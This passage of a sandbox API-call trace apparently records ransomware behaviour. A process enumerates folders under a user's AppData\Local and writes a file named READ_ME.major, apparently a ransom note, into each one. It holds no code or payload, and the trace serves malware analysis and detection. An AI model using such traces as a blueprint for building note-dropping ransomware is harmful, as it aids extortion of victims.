(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.173] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.178] CloseHandle (hObject=0x75c) returned 1 [0169.179] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91227223, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6f3e6702, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6f58a0ab, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.XboxGameCallableUI_cw5n1h2txyewy", cAlternateFileName="MICROS~2.XBO")) returned 1 [0169.179] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.182] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.183] CloseHandle (hObject=0x75c) returned 1 [0169.183] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935b10a7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x936165c3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x936165c3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.XboxGameOverlay_8wekyb3d8bbwe", cAlternateFileName="MIF834~1.XBO")) returned 1 [0169.183] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.200] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.201] CloseHandle (hObject=0x75c) returned 1 [0169.201] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf20f05a0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf22e0430, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf22e0430, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.XboxIdentityProvider_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.XBO")) returned 1 [0169.201] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxidentityprovider_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.202] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.203] CloseHandle (hObject=0x75c) returned 1 [0169.203] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.XBO")) returned 1 [0169.203] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.205] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.206] CloseHandle (hObject=0x75c) returned 1 [0169.206] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9120e63a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x913b2022, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.ZuneMusic_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.ZUN")) returned 1 [0169.206] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.208] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.208] CloseHandle (hObject=0x75c) returned 1 [0169.209] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf679d775, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8efa262b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8f25108d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.ZuneVideo_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.ZUN")) returned 1 [0169.209] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.210] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.211] CloseHandle (hObject=0x75c) returned 1 [0169.211] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.211] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x788510a7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x789ce851, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows.ContactSupport_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.CON")) returned 1 [0169.211] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.213] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.214] CloseHandle (hObject=0x75c) returned 1 [0169.214] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb3df96, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a8cfa4e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3a8cfa4e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="windows.devicesflow_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.DEV")) returned 1 [0169.214] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.263] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.263] CloseHandle (hObject=0x75c) returned 1 [0169.264] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b315bfa, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd8832b29, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="windows.immersivecontrolpanel_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.IMM")) returned 1 [0169.264] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.299] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.300] CloseHandle (hObject=0x75c) returned 1 [0169.300] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77c3f1ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows.MiracastView_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.MIR")) returned 1 [0169.300] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.302] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.303] CloseHandle (hObject=0x75c) returned 1 [0169.303] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x715dffc9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows.PrintDialog_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.PRI")) returned 1 [0169.303] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.304] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.305] CloseHandle (hObject=0x75c) returned 1 [0169.305] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3af37fe8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="windows_ie_ac_001", cAlternateFileName="WINDOW~1")) returned 1 [0169.306] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows_ie_ac_001\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0169.307] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.307] CloseHandle (hObject=0x75c) returned 1 [0169.307] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3af37fe8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="windows_ie_ac_001", cAlternateFileName="WINDOW~1")) returned 0 [0169.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\PeerDistRepub\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654460 [0169.308] FindNextFileW (in: hFindFile=0x654460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.308] FindNextFileW (in: hFindFile=0x654460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.308] FindNextFileW (in: hFindFile=0x654460, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.308] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6544e0 [0169.308] FindNextFileW (in: hFindFile=0x6544e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.308] FindNextFileW (in: hFindFile=0x6544e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdb1a72e3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="8wekyb3d8bbwe", cAlternateFileName="8WEKYB~1")) returned 1 [0169.308] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0169.444] WriteFile (in: hFile=0x764, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.444] CloseHandle (hObject=0x764) returned 1 [0169.444] FindNextFileW (in: hFindFile=0x6544e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.445] FindNextFileW (in: hFindFile=0x6544e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.445] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bcd928b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1bcd928b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0169.445] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654560 [0169.445] FindNextFileW (in: hFindFile=0x654560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1bcd928b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.445] FindNextFileW (in: hFindFile=0x654560, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe3309105, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xe3309105, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Database", cAlternateFileName="")) returned 1 [0169.445] CreateFileW 